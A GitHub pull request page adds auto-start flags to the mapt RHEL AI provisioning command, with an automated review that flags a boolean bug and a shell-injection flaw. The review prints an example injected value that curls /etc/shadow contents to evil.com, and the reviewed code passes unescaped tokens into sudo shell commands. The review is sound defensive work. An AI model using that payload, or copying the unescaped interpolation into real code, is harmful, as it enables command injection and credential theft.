feat(aws): add RHAIIS auto-start flags for RHEL AI provisioning#835
Draft
are-ces wants to merge 1 commit into
Draft
feat(aws): add RHAIIS auto-start flags for RHEL AI provisioning#835are-ces wants to merge 1 commit into
are-ces wants to merge 1 commit into
Conversation
Add --auto-start, --model, --hf-token, and --api-key flags to `mapt aws rhel-ai create` to configure and start the RHAIIS inference server automatically after VM provisioning. When --auto-start is set, mapt SSHes into the provisioned VM after readiness, configures the RHAIIS quadlet with the provided model and credentials, and starts the systemd service. Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
📝 WalkthroughSummary by CodeRabbit
WalkthroughThis PR adds four new RHEL-AI configuration CLI flags ( ChangesRHEL-AI Configuration and Auto-Start
Estimated code review effort🎯 2 (Simple) | ⏱️ ~12 minutes 🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. Warning Review ran into problems🔥 ProblemsStopped waiting for pipeline failures after 30000ms. One of your pipelines takes longer than our 30000ms fetch window to run, so review may not consider pipeline-failure results for inline comments if any failures occurred after the fetch window. Increase the timeout if you want to wait longer or run a Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 2
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@cmd/mapt/cmd/aws/hosts/rhelai.go`:
- Around line 66-69: The AutoStart field is being set with
viper.IsSet(params.RhelAIAutoStart), which only detects presence of the flag and
treats "--auto-start=false" as true; change the assignment to read the actual
boolean value using viper.GetBool(params.RhelAIAutoStart) so AutoStart reflects
explicit false values (update the struct initialization where AutoStart is set
and any related references to params.RhelAIAutoStart).
In `@pkg/provider/aws/action/rhel-ai/rhelai.go`:
- Around line 292-314: The rhaiisSetupScript function currently interpolates
user-controlled hfToken, model, and apiKey directly into shell commands,
creating a shell injection risk; update this by properly shell-escaping or
avoiding inline shell interpolation: sanitize/escape *r.hfToken, *r.model, and
*r.apiKey (e.g., use a shell-escaping helper such as
github.com/alessio/shellescape or go-shellquote) before inserting into the
sed/echo commands, or better yet write the values to a temporary file and use a
safe file-based systemd drop-in update instead of building complex command
strings; ensure the final command built by rhaiisSetupScript (and any usage with
NoLoggingCmdStd) only includes escaped literals or file references and not raw
user input.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Enterprise
Run ID: d388b731-9bb6-4ac0-9f46-58bcf2f476a8
📒 Files selected for processing (4)
cmd/mapt/cmd/aws/hosts/rhelai.gocmd/mapt/cmd/params/params.gopkg/provider/aws/action/rhel-ai/rhelai.gopkg/target/host/rhelai/api.go
Comment on lines
+66
to
+69
| Model: viper.GetString(params.RhelAIModel), | ||
| HFToken: viper.GetString(params.RhelAIHFToken), | ||
| APIKey: viper.GetString(params.RhelAIAPIKey), | ||
| AutoStart: viper.IsSet(params.RhelAIAutoStart), |
There was a problem hiding this comment.
Fix boolean flag handling to respect explicit false values.
Line 69 uses viper.IsSet() which only checks if the flag was provided, not its boolean value. This means --auto-start=false would incorrectly set AutoStart to true, breaking the ability to explicitly disable auto-start.
🐛 Proposed fix
Model: viper.GetString(params.RhelAIModel),
HFToken: viper.GetString(params.RhelAIHFToken),
APIKey: viper.GetString(params.RhelAIAPIKey),
- AutoStart: viper.IsSet(params.RhelAIAutoStart),
+ AutoStart: viper.GetBool(params.RhelAIAutoStart),
})📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| Model: viper.GetString(params.RhelAIModel), | |
| HFToken: viper.GetString(params.RhelAIHFToken), | |
| APIKey: viper.GetString(params.RhelAIAPIKey), | |
| AutoStart: viper.IsSet(params.RhelAIAutoStart), | |
| Model: viper.GetString(params.RhelAIModel), | |
| HFToken: viper.GetString(params.RhelAIHFToken), | |
| APIKey: viper.GetString(params.RhelAIAPIKey), | |
| AutoStart: viper.GetBool(params.RhelAIAutoStart), |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@cmd/mapt/cmd/aws/hosts/rhelai.go` around lines 66 - 69, The AutoStart field
is being set with viper.IsSet(params.RhelAIAutoStart), which only detects
presence of the flag and treats "--auto-start=false" as true; change the
assignment to read the actual boolean value using
viper.GetBool(params.RhelAIAutoStart) so AutoStart reflects explicit false
values (update the struct initialization where AutoStart is set and any related
references to params.RhelAIAutoStart).
Comment on lines
+292
to
+314
| func (r *rhelAIRequest) rhaiisSetupScript() string { | ||
| confDir := "/etc/containers/systemd/rhaiis.container.d" | ||
| script := fmt.Sprintf( | ||
| "sudo cp %s/install.conf.example %s/install.conf", | ||
| confDir, confDir) | ||
| if len(*r.hfToken) > 0 { | ||
| script += fmt.Sprintf( | ||
| " && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf", | ||
| *r.hfToken, confDir) | ||
| } | ||
| if len(*r.model) > 0 { | ||
| script += fmt.Sprintf( | ||
| ` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`, | ||
| *r.model, confDir) | ||
| } | ||
| if len(*r.apiKey) > 0 { | ||
| script += fmt.Sprintf( | ||
| " && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf", | ||
| *r.apiKey, confDir) | ||
| } | ||
| script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis" | ||
| return script | ||
| } |
There was a problem hiding this comment.
Shell injection vulnerability: sanitize user-controlled inputs before shell interpolation.
User-controlled values (hfToken, model, apiKey) are directly interpolated into shell commands without escaping. This creates a critical shell injection vulnerability. An attacker who controls these CLI parameters could inject arbitrary shell commands that execute with sudo privileges.
Example attack:
--hf-token='secret && curl evil.com/exfil?data=$(cat /etc/shadow)'This would produce:
sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=secret && curl evil.com/exfil?data=$(cat /etc/shadow)|' ...While NoLoggingCmdStd (line 250) prevents credential exposure in logs, it does not prevent shell injection.
🛡️ Recommended fix using shell escaping
Use shell quoting/escaping for all user-controlled interpolations. For bash, use printf %q or replace special characters:
func (r *rhelAIRequest) rhaiisSetupScript() string {
confDir := "/etc/containers/systemd/rhaiis.container.d"
script := fmt.Sprintf(
"sudo cp %s/install.conf.example %s/install.conf",
confDir, confDir)
if len(*r.hfToken) > 0 {
+ escapedToken := shellescape.Quote(*r.hfToken)
script += fmt.Sprintf(
- " && sudo sed -i 's|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|' %s/install.conf",
- *r.hfToken, confDir)
+ " && sudo sed -i \"s|HUGGING_FACE_HUB_TOKEN=.*|HUGGING_FACE_HUB_TOKEN=%s|\" %s/install.conf",
+ escapedToken, confDir)
}
if len(*r.model) > 0 {
+ escapedModel := shellescape.Quote(*r.model)
script += fmt.Sprintf(
- ` && sudo sed -i 's|--model .*|--model %s \\|' %s/install.conf`,
- *r.model, confDir)
+ " && sudo sed -i \"s|--model .*|--model %s \\\\|\" %s/install.conf",
+ escapedModel, confDir)
}
if len(*r.apiKey) > 0 {
+ escapedKey := shellescape.Quote(*r.apiKey)
script += fmt.Sprintf(
- " && sudo sed -i '/\\[Install\\]/i Environment=VLLM_API_KEY=%s' %s/install.conf",
- *r.apiKey, confDir)
+ " && sudo sed -i \"/\\\\[Install\\\\]/i Environment=VLLM_API_KEY=%s\" %s/install.conf",
+ escapedKey, confDir)
}
script += " && sudo systemctl daemon-reload && sudo systemctl start rhaiis"
return script
}Consider using a shell-escaping library like github.com/alessio/shellescape or github.com/kballard/go-shellquote.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@pkg/provider/aws/action/rhel-ai/rhelai.go` around lines 292 - 314, The
rhaiisSetupScript function currently interpolates user-controlled hfToken,
model, and apiKey directly into shell commands, creating a shell injection risk;
update this by properly shell-escaping or avoiding inline shell interpolation:
sanitize/escape *r.hfToken, *r.model, and *r.apiKey (e.g., use a shell-escaping
helper such as github.com/alessio/shellescape or go-shellquote) before inserting
into the sed/echo commands, or better yet write the values to a temporary file
and use a safe file-based systemd drop-in update instead of building complex
command strings; ensure the final command built by rhaiisSetupScript (and any
usage with NoLoggingCmdStd) only includes escaped literals or file references
and not raw user input.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Add
--auto-start,--model,--hf-token, and--api-keyflags tomapt aws rhel-ai createto configure and start the RHAIIS inference server automatically after VM provisioning.Closes #759
After
mapt aws rhel-ai createprovisions a VM, the RHEL AI image ships with RHAIIS (vLLM inference server) pre-installed as a systemd quadlet but inactive. Users currently must SSH in manually to configure and start it. These flags automate that post-provisioning step.When
--auto-startis set, mapt SSHes into the provisioned VM after readiness, configures the RHAIIS quadlet with the provided model and credentials, and starts the systemd service. Sensitive output (HF token) is suppressed from logs usingNoLoggingCmdStd. Without--auto-start, behavior is unchanged.Usage:
mapt aws rhel-ai create \ --project-name test \ --backed-url "file:///tmp/test" \ --version 3.4.0-ea.1 \ --spot \ --auto-start \ --model meta-llama/Llama-3.2-1B-Instruct \ --hf-token $HF_TOKEN \ --api-key $API_KEYValidated end-to-end: provisioned RHEL AI VM with
--auto-start, confirmedsystemctl status rhaiisactive andcurl localhost:8000/v1/modelsreturns the model.Co-Authored-By: Claude Opus 4.6 noreply@anthropic.com